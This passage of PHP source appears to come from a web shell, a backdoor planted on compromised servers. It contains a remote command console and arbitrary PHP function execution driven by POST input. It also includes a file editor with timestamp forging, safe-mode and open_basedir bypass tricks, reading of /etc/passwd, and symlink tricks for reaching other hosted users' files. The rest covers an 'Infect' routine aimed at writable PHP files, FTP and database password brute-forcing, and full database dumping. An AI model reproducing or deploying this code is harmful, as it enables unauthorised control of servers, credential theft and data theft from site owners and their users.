640 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
641 echo strlen($temp), "\n", $temp;
642 exit;
643 }
644 printHeader();
645 echo '<h1>String conversions</h1><div class=content>';
646 $stringTools = array(
647 'Base64 encode' => 'base64_encode',
648 'Base64 decode' => 'base64_decode',
649 'Url encode' => 'urlencode',
650 'Url decode' => 'urldecode',
651 'Full urlencode' => 'full_urlencode',
652 'md5 hash' => 'md5',
653 'sha1 hash' => 'sha1',
654 'crypt' => 'crypt',
655 'CRC32' => 'crc32',
656 'ASCII to HEX' => 'ascii2hex',
657 'HEX to ASCII' => 'hex2ascii',
658 'HEX to DEC' => 'hexdec',
659 'HEX to BIN' => 'hex2bin',
660 'DEC to HEX' => 'dechex',
661 'DEC to BIN' => 'decbin',
662 'BIN to HEX' => 'bin2hex',
663 'BIN to DEC' => 'bindec',
664 'String to lower case' => 'strtolower',
665 'String to upper case' => 'strtoupper',
666 'Htmlspecialchars' => 'htmlspecialchars',
667 'String length' => 'strlen',
668 );
669 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
670 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
671 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
672 foreach($stringTools as $k => $v)
673 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
674 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
675 if(!empty($_POST['p1'])) {
676 if(function_exists($_POST['p1']))
677 echo htmlspecialchars($_POST['p1']($_POST['p2']));
678 }
679 echo"</pre></div>";
680 ?>
681 <br><h1>Search for hash:</h1><div class=content>
682 <form method='post' target='_blank' name="hf">
683 <input type="text" name="hash" style="width:200px;"><br>
684 <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
685 <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
686 <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
687 <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
688 <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
689 </form>
690 </div>
691 <?php
692 printFooter();
693}
694
695function actionFilesTools() {
696 if( isset($_POST['p1']) )
697 $_POST['p1'] = urldecode($_POST['p1']);
698 if(@$_POST['p2']=='download') {
699 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
700 ob_start("ob_gzhandler", 4096);
701 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
702 if (function_exists("mime_content_type")) {
703 $type = @mime_content_type($_POST['p1']);
704 header("Content-Type: ".$type);
705 }
706 $fp = @fopen($_POST['p1'], "r");
707 if($fp) {
708 while(!@feof($fp))
709 echo @fread($fp, 1024);
710 fclose($fp);
711 }
712 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
713
714 }
715 exit;
716 }
717 if( @$_POST['p2'] == 'mkfile' ) {
718 if(!file_exists($_POST['p1'])) {
719 $fp = @fopen($_POST['p1'], 'w');
720 if($fp) {
721 $_POST['p2'] = "edit";
722 fclose($fp);
723 }
724 }
725 }
726 printHeader();
727 echo '<h1>File tools</h1><div class=content>';
728 if( !file_exists(@$_POST['p1']) ) {
729 echo 'File not exists';
730 printFooter();
731 return;
732 }
733 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
734 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
735 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
736 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
737 if( empty($_POST['p2']) )
738 $_POST['p2'] = 'view';
739 if( is_file($_POST['p1']) )
740 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
741 else
742 $m = array('Chmod', 'Rename', 'Touch');
743 foreach($m as $v)
744 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
745 echo '<br><br>';
746 switch($_POST['p2']) {
747 case 'view':
748 echo '<pre class=ml1>';
749 $fp = @fopen($_POST['p1'], 'r');
750 if($fp) {
751 while( !@feof($fp) )
752 echo htmlspecialchars(@fread($fp, 1024));
753 @fclose($fp);
754 }
755 echo '</pre>';
756 break;
757 case 'highlight':
758 if( is_readable($_POST['p1']) ) {
759 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
760 $code = highlight_file($_POST['p1'],true);
761 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
762 }
763 break;
764 case 'chmod':
765 if( !empty($_POST['p3']) ) {
766 $perms = 0;
767 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
768 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
769 if(!@chmod($_POST['p1'], $perms))
770 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
771 else
772 die('<script>g(null,null,null,null,"")</script>');
773 }
774 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
775 break;
776 case 'edit':
777 if( !is_writable($_POST['p1'])) {
778 echo 'File isn\'t writeable';
779 break;
780 }
781 if( !empty($_POST['p3']) ) {
782 @file_put_contents($_POST['p1'],$_POST['p3']);
783 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
784 }
785 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
786 $fp = @fopen($_POST['p1'], 'r');
787 if($fp) {
788 while( !@feof($fp) )
789 echo htmlspecialchars(@fread($fp, 1024));
790 @fclose($fp);
791 }
792 echo '</textarea><input type=submit value=">>"></form>';
793 break;
794 case 'hexdump':
795 $c = @file_get_contents($_POST['p1']);
796 $n = 0;
797 $h = array('00000000<br>','','');
798 $len = strlen($c);
799 for ($i=0; $i<$len; ++$i) {
800 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
801 switch ( ord($c[$i]) ) {
802 case 0: $h[2] .= ' '; break;
803 case 9: $h[2] .= ' '; break;
804 case 10: $h[2] .= ' '; break;
805 case 13: $h[2] .= ' '; break;
806 default: $h[2] .= $c[$i]; break;
807 }
808 $n++;
809 if ($n == 32) {
810 $n = 0;
811 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
812 $h[1] .= '<br>';
813 $h[2] .= "\n";
814 }
815 }
816 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
817 break;
818 case 'rename':
819 if( !empty($_POST['p3']) ) {
820 if(!@rename($_POST['p1'], $_POST['p3']))
821 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
822 else
823 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
824 }
825 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
826 break;
827 case 'touch':
828 if( !empty($_POST['p3']) ) {
829 $time = strtotime($_POST['p3']);
830 if($time) {
831 if(@touch($_POST['p1'],$time,$time))
832 die('<script>g(null,null,null,null,"")</script>');
833 else {
834 echo 'Fail!<script>document.mf.p3.value="";</script>';
835 }
836 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
837 }
838 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
839 break;
840 case 'mkfile':
841
842 break;
843 }
844 echo '</div>';
845 printFooter();
846}
847
848function actionSafeMode() {
849 $temp='';
850 ob_start();
851 switch($_POST['p1']) {
852 case 1:
853 $temp=@tempnam($test, 'cx');
854 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
855 echo @file_get_contents($temp);
856 unlink($temp);
857 } else
858 echo 'Sorry... Can\'t open file';
859 break;
860 case 2:
861 $files = glob($_POST['p2'].'*');
862 if( is_array($files) )
863 foreach ($files as $filename)
864 echo $filename."\n";
865 break;
866 case 3:
867 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
868 curl_exec($ch);
869 break;
870 case 4:
871 ini_restore("safe_mode");
872 ini_restore("open_basedir");
873 include($_POST['p2']);
874 break;
875 case 5:
876 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
877 $uid = @posix_getpwuid($_POST['p2']);
878 if ($uid)
879 echo join(':',$uid)."\n";
880 }
881 break;
882 case 6:
883 if(!function_exists('imap_open'))break;
884 $stream = imap_open($_POST['p2'], "", "");
885 if ($stream == FALSE)
886 break;
887 echo imap_body($stream, 1);
888 imap_close($stream);
889 break;
890 }
891 $temp = ob_get_clean();
892 printHeader();
893 echo '<h1>Safe mode bypass</h1><div class=content>';
894 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
895 if($temp)
896 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
897 echo '</div>';
898 printFooter();
899}
900
901function actionConsole() {
902 if(isset($_POST['ajax'])) {
903 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
904 ob_start();
905 echo "document.cf.cmd.value='';\n";
906 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
907 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
908 if(@chdir($match[1])) {
909 $GLOBALS['cwd'] = @getcwd();
910 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
911 }
912 }
913 echo "document.cf.output.value+='".$temp."';";
914 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
915 $temp = ob_get_clean();
916 echo strlen($temp), "\n", $temp;
917 exit;
918 }
919 printHeader();
920?>
921<script>
922if(window.Event) window.captureEvents(Event.KEYDOWN);
923var cmds = new Array("");
924var cur = 0;
925function kp(e) {
926 var n = (window.Event) ? e.which : e.keyCode;
927 if(n == 38) {
928 cur--;
929 if(cur>=0)
930 document.cf.cmd.value = cmds[cur];
931 else
932 cur++;
933 } else if(n == 40) {
934 cur++;
935 if(cur < cmds.length)
936 document.cf.cmd.value = cmds[cur];
937 else
938 cur--;
939 }
940}
941function add(cmd) {
942 cmds.pop();
943 cmds.push(cmd);
944 cmds.push("");
945 cur = cmds.length-1;
946}
947</script>
948<?php
949 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
950 foreach($GLOBALS['aliases'] as $n => $v) {
951 if($v == '') {
952 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
953 continue;
954 }
955 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
956 }
957 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
958 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
959 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
960 if(!empty($_POST['p1'])) {
961 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
962 }
963 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
964 echo '</form></div><script>document.cf.cmd.focus();</script>';
965 printFooter();
966}
967
968function actionLogout() {
969 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
970 echo 'bye!';
971}
972
973function actionSelfRemove() {
974 printHeader();
975 if($_POST['p1'] == 'yes') {
976 if(@unlink(SELF_PATH))
977 die('Shell has been removed');
978 else
979 echo 'unlink error!';
980 }
981 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
982 printFooter();
983}
984
985function actionTools() {
986 printHeader();
987
988 printFooter();
989}
990
991function actionDomains() {
992 printHeader();
993 error_reporting(0);
994echo "<title>#Domains & Users</title>";
995mkdir("sym");
996symlink("/","0/x.txt");
997$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
998$f = fopen ('sym/.htaccess','w');
999 fwrite($f , $c);
1000
1001$d0mains = @file("/etc/named.conf");
1002
1003if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
1004
1005echo "<table align=center border=1>
1006<tr bgcolor=green><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
1007
1008foreach($d0mains as $d0main){
1009
1010if(eregi("zone",$d0main)){
1011
1012preg_match_all('#zone "(.*)"#', $d0main, $domains);
1013flush();
1014
1015if(strlen(trim($domains[1][0])) > 2){
1016
1017$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1018
1019echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/x.txt/home/".$user['name']."/public_html'>Miremos</a></td></tr>"; flush();
1020
1021}}}
1022
1023echo "</table>
1024<p align='center'>
1025FailRoot'Cod3rz <a href='http://failroot.wordpress.com/'>FailRoot-Sec.Com</a> | <a
1026
1027href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
1028</p>
1029";
1030 printFooter();
1031}
1032
1033function actionInfect() {
1034 printHeader();
1035 echo '<h1>Infect</h1><div class=content>';
1036 if($_POST['p1'] == 'infect') {
1037 $target=$_SERVER['DOCUMENT_ROOT'];
1038 function ListFiles($dir) {
1039 if($dh = opendir($dir)) {
1040 $files = Array();
1041 $inner_files = Array();
1042 while($file = readdir($dh)) {
1043 if($file != "." && $file != "..") {
1044 if(is_dir($dir . "/" . $file)) {
1045 $inner_files = ListFiles($dir . "/" . $file);
1046 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1047 } else {
1048 array_push($files, $dir . "/" . $file);
1049 }
1050 }
1051 }
1052 closedir($dh);
1053 return $files;
1054 }
1055 }
1056 foreach (ListFiles($target) as $key=>$file){
1057 $nFile = substr($file, -4, 4);
1058 if($nFile == ".php" ){
1059 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1060 echo "$file<br>";
1061 $i++;
1062 }
1063 }
1064 }
1065 echo "<font color=red size=14>$i</font>";
1066 }else{
1067 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1068 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1069 }
1070 printFooter();
1071}
1072
1073function actionBruteforce() {
1074 printHeader();
1075 if( isset($_POST['proto']) ) {
1076 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1077 if( $_POST['proto'] == 'ftp' ) {
1078 function bruteForce($ip,$port,$login,$pass) {
1079 $fp = @ftp_connect($ip, $port?$port:21);
1080 if(!$fp) return false;
1081 $res = @ftp_login($fp, $login, $pass);
1082 @ftp_close($fp);
1083 return $res;
1084 }
1085 } elseif( $_POST['proto'] == 'mysql' ) {
1086 function bruteForce($ip,$port,$login,$pass) {
1087 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1088 @mysql_close($res);
1089 return $res;
1090 }
1091 } elseif( $_POST['proto'] == 'pgsql' ) {
1092 function bruteForce($ip,$port,$login,$pass) {
1093 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1094 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1095 @pg_close($res);
1096 return $res;
1097 }
1098 }
1099 $success = 0;
1100 $attempts = 0;
1101 $server = explode(":", $_POST['server']);
1102 if($_POST['type'] == 1) {
1103 $temp = @file('/etc/passwd');
1104 if( is_array($temp) )
1105 foreach($temp as $line) {
1106 $line = explode(":", $line);
1107 ++$attempts;
1108 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1109 $success++;
1110 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1111 }
1112 if(@$_POST['reverse']) {
1113 $tmp = "";
1114 for($i=strlen($line[0])-1; $i>=0; --$i)
1115 $tmp .= $line[0][$i];
1116 ++$attempts;
1117 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1118 $success++;
1119 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1120 }
1121 }
1122 }
1123 } elseif($_POST['type'] == 2) {
1124 $temp = @file($_POST['dict']);
1125 if( is_array($temp) )
1126 foreach($temp as $line) {
1127 $line = trim($line);
1128 ++$attempts;
1129 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1130 $success++;
1131 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1132 }
1133 }
1134 }
1135 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1136 }
1137 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1138 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1139 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1140 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1141 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1142 .'<span>Server:port</span></td>'
1143 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1144 .'<tr><td><span>Brute type</span></td>'
1145 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1146 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1147 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1148 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1149 .'<td><input type=text name=login value="root"></td></tr>'
1150 .'<tr><td><span>Dictionary</span></td>'
1151 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1152 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1153 echo '</div><br>';
1154 printFooter();
1155}
1156
1157function actionSql() {
1158 class DbClass {
1159 var $type;
1160 var $link;
1161 var $res;
1162 function DbClass($type) {
1163 $this->type = $type;
1164 }
1165 function connect($host, $user, $pass, $dbname){
1166 switch($this->type) {
1167 case 'mysql':
1168 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1169 break;
1170 case 'pgsql':
1171 $host = explode(':', $host);
1172 if(!$host[1]) $host[1]=5432;
1173 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1174 break;
1175 }
1176 return false;
1177 }
1178 function selectdb($db) {
1179 switch($this->type) {
1180 case 'mysql':
1181 if (@mysql_select_db($db))return true;
1182 break;
1183 }
1184 return false;
1185 }
1186 function query($str) {
1187 switch($this->type) {
1188 case 'mysql':
1189 return $this->res = @mysql_query($str);
1190 break;
1191 case 'pgsql':
1192 return $this->res = @pg_query($this->link,$str);
1193 break;
1194 }
1195 return false;
1196 }
1197 function fetch() {
1198 $res = func_num_args()?func_get_arg(0):$this->res;
1199 switch($this->type) {
1200 case 'mysql':
1201 return @mysql_fetch_assoc($res);
1202 break;
1203 case 'pgsql':
1204 return @pg_fetch_assoc($res);
1205 break;
1206 }
1207 return false;
1208 }
1209 function listDbs() {
1210 switch($this->type) {
1211 case 'mysql':
1212 return $this->res = @mysql_list_dbs($this->link);
1213 break;
1214 case 'pgsql':
1215 return $this->res = $this->query("SELECT datname FROM pg_database");
1216 break;
1217 }
1218 return false;
1219 }
1220 function listTables() {
1221 switch($this->type) {
1222 case 'mysql':
1223 return $this->res = $this->query('SHOW TABLES');
1224 break;
1225 case 'pgsql':
1226 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1227 break;
1228 }
1229 return false;
1230 }
1231 function error() {
1232 switch($this->type) {
1233 case 'mysql':
1234 return @mysql_error($this->link);
1235 break;
1236 case 'pgsql':
1237 return @pg_last_error($this->link);
1238 break;
1239 }
1240 return false;
1241 }
1242 function setCharset($str) {
1243 switch($this->type) {
1244 case 'mysql':
1245 if(function_exists('mysql_set_charset'))
1246 return @mysql_set_charset($str, $this->link);
1247 else
1248 $this->query('SET CHARSET '.$str);
1249 break;
1250 case 'mysql':
1251 return @pg_set_client_encoding($this->link, $str);
1252 break;
1253 }
1254 return false;
1255 }
1256 function dump($table) {
1257 switch($this->type) {
1258 case 'mysql':
1259 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1260 $create = mysql_fetch_array($res);
1261 echo $create[1].";\n\n";
1262 $this->query('SELECT * FROM `'.$table.'`');
1263 while($item = $this->fetch()) {
1264 $columns = array();
1265 foreach($item as $k=>$v) {
1266 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1267 $columns[] = "`".$k."`";
1268 }
1269 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1270 }
1271 break;
1272 case 'pgsql':
1273 $this->query('SELECT * FROM '.$table);
1274 while($item = $this->fetch()) {
1275 $columns = array();
1276 foreach($item as $k=>$v) {
1277 $item[$k] = "'".addslashes($v)."'";
1278 $columns[] = $k;
1279 }
1280 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1281 }
1282 break;
1283 }
1284 return false;
1285 }
1286 };
1287 $db = new DbClass($_POST['type']);
1288 if(@$_POST['p2']=='download') {
1289 ob_start("ob_gzhandler", 4096);
1290 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1291 $db->selectdb($_POST['sql_base']);
1292 header("Content-Disposition: attachment; filename=dump.sql");
1293 header("Content-Type: text/plain");
1294 foreach($_POST['tbl'] as $v)
1295 $db->dump($v);
1296 exit;
1297 }
1298 printHeader();
1299 ?>
1300 <h1>Sql browser</h1><div class=content>
1301 <form name="sf" method="post">
1302 <table cellpadding="2" cellspacing="0">
1303 <tr>
1304 <td>Type</td>
1305 <td>Host</td>
1306 <td>Login</td>
1307 <td>Password</td>
1308 <td>Database</td>
1309 <td></td>
1310 </tr>
1311 <tr>
1312 <input type=hidden name=a value=Sql>
1313 <input type=hidden name=p1 value='query'>
1314 <input type=hidden name=p2>
1315 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
1316 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
1317 <td>
1318 <select name='type'>
1319 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
1320 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
1321 </select></td>
1322 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
1323 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
1324 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
1325 <td>
1326 <?php
1327 $tmp = "<input type=text name=sql_base value=''>";
1328 if(isset($_POST['sql_host'])){
1329 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1330 switch($_POST['charset']) {
1331 case "Windows-1251": $db->setCharset('cp1251'); break;
1332 case "UTF-8": $db->setCharset('utf8'); break;
1333 case "KOI8-R": $db->setCharset('koi8r'); break;
1334 case "KOI8-U": $db->setCharset('koi8u'); break;
1335 case "cp866": $db->setCharset('cp866'); break;
1336 }
1337 $db->listDbs();
1338 echo "<select name=sql_base><option value=''></option>";
1339 while($item = $db->fetch()) {
1340 list($key, $value) = each($item);
1341 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1342 }
1343 echo '</select>';
1344 }
1345 else echo $tmp;
1346 }else
1347 echo $tmp;
1348 ?></td>
1349 <td><input type=submit value=">>"></td>
1350 </tr>
1351 </table>
1352 <script>
1353 function st(t,l) {
1354 document.sf.p1.value = 'select';
1355 document.sf.p2.value = t;
1356 if(l!=null)document.sf.p3.value = l;
1357 document.sf.submit();
1358 }
1359 function is() {
1360 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1361 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1362 }
1363 </script>
1364 <?php
1365 if(isset($db) && $db->link){
1366 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1367 if(!empty($_POST['sql_base'])){
1368 $db->selectdb($_POST['sql_base']);
1369 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1370 $tbls_res = $db->listTables();
1371 while($item = $db->fetch($tbls_res)) {
1372 list($key, $value) = each($item);
1373 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1374 $value = htmlspecialchars($value);
1375 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1376 }
1377 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1378 if(@$_POST['p1'] == 'select') {
1379 $_POST['p1'] = 'query';
1380 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1381 $num = $db->fetch();
1382 $num = $num['n'];
1383 echo "<span>".$_POST['p2']."</span> ($num) ";
1384 for($i=0;$i<($num/30);$i++)
1385 if($i != (int)$_POST['p3'])
1386 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1387 else
1388 echo ($i+1)," ";
1389 if($_POST['type']=='pgsql')
1390 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1391 else
1392 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1393 echo "<br><br>";
1394 }
1395 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1396 $db->query(@$_POST['p3']);
1397 if($db->res !== false) {
1398 $title = false;
1399 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1400 $line = 1;
1401 while($item = $db->fetch()) {
1402 if(!$title) {
1403 echo '<tr>';
1404 foreach($item as $key => $value)
1405 echo '<th>'.$key.'</th>';
1406 reset($item);
1407 $title=true;
